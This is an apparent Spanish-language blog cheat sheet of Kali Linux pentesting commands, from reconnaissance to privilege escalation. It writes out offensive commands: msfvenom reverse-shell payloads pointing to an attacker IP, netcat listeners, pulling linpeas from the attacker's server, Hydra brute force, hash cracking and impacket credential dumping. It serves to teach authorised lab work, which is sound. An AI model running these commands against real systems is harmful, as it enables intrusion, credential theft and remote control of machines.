Saltar al contenido
h4ckercademy
Volver al blog

Comandos de Kali Linux: la chuleta que de verdad se usa

20 de agosto de 20266 min de lectura

Una chuleta de comandos ordenada por orden alfabético no sirve para nada. Esta va ordenada por el momento en el que los vas a necesitar, que es como se usan de verdad.

Todo lo que hay aquí se ejecuta contra tu propio laboratorio o contra máquinas que autorizan expresamente que las ataques. Lanzarlo contra un sistema ajeno es un delito en España aunque no rompas nada.

Antes de nada: moverse por el sistema

Si estos no los tienes automatizados en los dedos, el resto va a costar el doble.

pwd                      # dónde estoy
ls -la                   # todo, incluidos ocultos y permisos
cd -                     # volver al directorio anterior
find / -name "*.conf" 2>/dev/null    # buscar sin ruido de errores
grep -rn "password" /etc/            # buscar dentro de ficheros
which nmap && whereis nmap           # dónde está un binario
history | grep ssh                   # qué escribí antes

El 2>/dev/null de la tercera línea es el que más se agradece: sin él, find / como usuario normal llena la pantalla de "Permiso denegado" y esconde los resultados buenos.

Permisos y usuarios

id                       # quién soy y a qué grupos pertenezco
sudo -l                  # qué puedo ejecutar como otro usuario
chmod +x script.sh
chown www-data:www-data fichero
find / -perm -4000 -type f 2>/dev/null   # binarios SUID

Esa última línea es, literalmente, el primer comando de casi toda escalada de privilegios en Linux.

Paquetes y actualizaciones

sudo apt update && sudo apt full-upgrade -y
sudo apt install gobuster
apt search impacket

En Kali se usa full-upgrade, no upgrade: es una distribución de tipo rolling y upgrade a secas deja paquetes a medias.

Red: saber dónde estás

ip a                     # interfaces y direcciones
ip route                 # puerta de enlace
ss -tulpn                # puertos a la escucha y qué proceso los tiene
arp -a                   # vecinos en la red local
dig empresa.com ANY      # registros DNS
dig axfr @ns1.empresa.com empresa.com   # transferencia de zona
curl -I https://objetivo.com            # solo cabeceras

ss -tulpn ha sustituido a netstat y va mucho más rápido. La transferencia de zona con axfr es un fallo de configuración cada vez más raro, pero cuando aparece te da el mapa completo del dominio de una sola vez.

Reconocimiento con Nmap

El 90 % del uso real de Nmap cabe en cinco líneas.

# Barrido rápido de la red: qué hay vivo
nmap -sn 192.168.1.0/24

# Puertos abiertos, rápido y sobre los 1000 habituales
nmap -sS -T4 10.10.10.5

# Todos los puertos. Tarda, pero encuentra lo escondido en el 48291
nmap -p- --min-rate 5000 10.10.10.5

# Versiones y scripts por defecto sobre los puertos que encontraste
nmap -sVC -p 22,80,445 10.10.10.5

# Scripts concretos: vulnerabilidades conocidas
nmap --script vuln -p 445 10.10.10.5

El flujo real es siempre el mismo: primero -p- para saber qué puertos hay, después -sVC solo sobre esos. Lanzar -sVC -p- de entrada es el error de principiante que convierte un escaneo de dos minutos en uno de cuarenta.

-sS necesita privilegios porque construye los paquetes a mano. Sin sudo, Nmap hace un escaneo de conexión completa, que es más lento y más ruidoso.

Servicios: qué hacer con cada puerto

SMB (445)

smbclient -L //10.10.10.5 -N          # listar recursos sin credenciales
smbmap -H 10.10.10.5                  # permisos de cada recurso
crackmapexec smb 10.10.10.5 -u usuario -p contrasena --shares
enum4linux-ng -A 10.10.10.5

FTP (21)

ftp 10.10.10.5                        # probar anonymous / anonymous
wget -r ftp://anonymous@10.10.10.5/   # descargarlo todo si hay acceso

Web (80, 443, 8080)

whatweb http://10.10.10.5
gobuster dir -u http://10.10.10.5 -w /usr/share/wordlists/dirb/common.txt -x php,txt
ffuf -u http://10.10.10.5/FUZZ -w /usr/share/wordlists/dirb/big.txt
nikto -h http://10.10.10.5
curl -s http://10.10.10.5/robots.txt

robots.txt sigue siendo el primer sitio donde mirar. La gente escribe ahí exactamente lo que no quiere que se vea.

SSH (22)

ssh usuario@10.10.10.5
ssh -i clave_privada usuario@10.10.10.5
ssh -L 8080:127.0.0.1:80 usuario@10.10.10.5   # túnel para llegar a un servicio interno

Contraseñas

# Fuerza bruta contra un servicio
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.5

# Identificar y romper un hash
hashid '$1$xyz...'
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# Generar un diccionario a partir de una web
cewl http://10.10.10.5 -w palabras.txt

rockyou.txt viene comprimido en Kali. La primera vez hay que descomprimirlo:

sudo gunzip /usr/share/wordlists/rockyou.txt.gz

Explotación con Metasploit

msfconsole -q
search type:exploit vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 10.10.10.5
set LHOST tun0
run

Y para generar cargas útiles fuera de Metasploit:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f elf > carga.elf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f exe > carga.exe

LHOST es tu dirección, no la del objetivo. Es el fallo que más veces he visto en clase: se pone la IP de la víctima, la conexión inversa no llega a ninguna parte y se pierde media hora buscando el problema en el sitio equivocado.

Escuchas y transferencia de ficheros

# Ponerse a la escucha
nc -lvnp 4444
rlwrap nc -lvnp 4444          # con historial y flechas, mucho mejor

# Servir ficheros desde tu máquina
python3 -m http.server 8000

# Bajarlos desde la víctima
wget http://10.10.14.2:8000/linpeas.sh
curl http://10.10.14.2:8000/linpeas.sh -o /tmp/linpeas.sh

Estabilizar una shell

Esta secuencia vale oro y se usa en cada máquina:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Sin esto, la shell inversa se cae al primer Ctrl+C y no tienes ni autocompletado ni historial.

Post-explotación: escalar privilegios

# Reconocimiento automático
./linpeas.sh
./winPEAS.exe

# A mano, lo primero que hay que mirar
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab
getcap -r / 2>/dev/null
uname -a          # versión de kernel, por si hay exploit conocido

Y en Windows con Active Directory:

bloodhound-python -u usuario -p contrasena -d empresa.local -c all
impacket-secretsdump empresa.local/usuario:contrasena@10.10.10.5
impacket-psexec empresa.local/administrador@10.10.10.5

Cómo memorizar todo esto

No lo memorices. Lo que hay que interiorizar es el orden: reconocer, enumerar, explotar, escalar, documentar. Los comandos concretos se buscan, y por eso cada lección del curso de Kali Linux trae su chuleta descargable en .md, para que la tengas en la segunda pantalla mientras trabajas.

Tienes la referencia completa y siempre actualizada en el Ethical Hacking Cheatsheet, que es el GitBook donde mantengo todo esto.

Y si prefieres verlo hacer en vez de leerlo, el curso es gratuito y completo: laboratorio desde cero, reconocimiento, explotación con Metasploit y el informe final. Empieza en /cursos/kali-linux.

Sigue por aquí

El curso que continúa este artículo

Preguntas frecuentes

¿Qué es Kali Linux?

Una distribución de Linux basada en Debian y mantenida por OffSec, preparada para auditorías de seguridad. Trae unas 600 herramientas ya instaladas y configuradas, que es lo que la diferencia de instalar Debian y montarlo todo a mano.

¿Kali Linux es para principiantes?

Como distribución de escritorio diaria, no: está pensada para auditar, no para vivir en ella. Como primera distribución para aprender pentesting, sí, siempre que se use dentro de una máquina virtual.

¿Puedo instalar Kali en una máquina virtual?

Es la forma recomendada. VMware o VirtualBox, con una red interna aislada donde también viven las máquinas vulnerables que vas a atacar. Así nada de lo que hagas sale a tu red doméstica.

¿Necesito ser root para todo en Kali?

Desde 2020 Kali usa un usuario normal por defecto y se escala con sudo, como cualquier Debian. Solo unas pocas herramientas que manipulan paquetes en crudo, como Nmap con escaneos SYN, necesitan privilegios.

#kali linux#comandos#pentesting#principiantes

Sigue leyendo

h4ckercademy

Todo el catálogo por una suscripción

Un solo pago mensual o anual y acceso a todos los cursos, los actuales y los que vengan.

Ver precios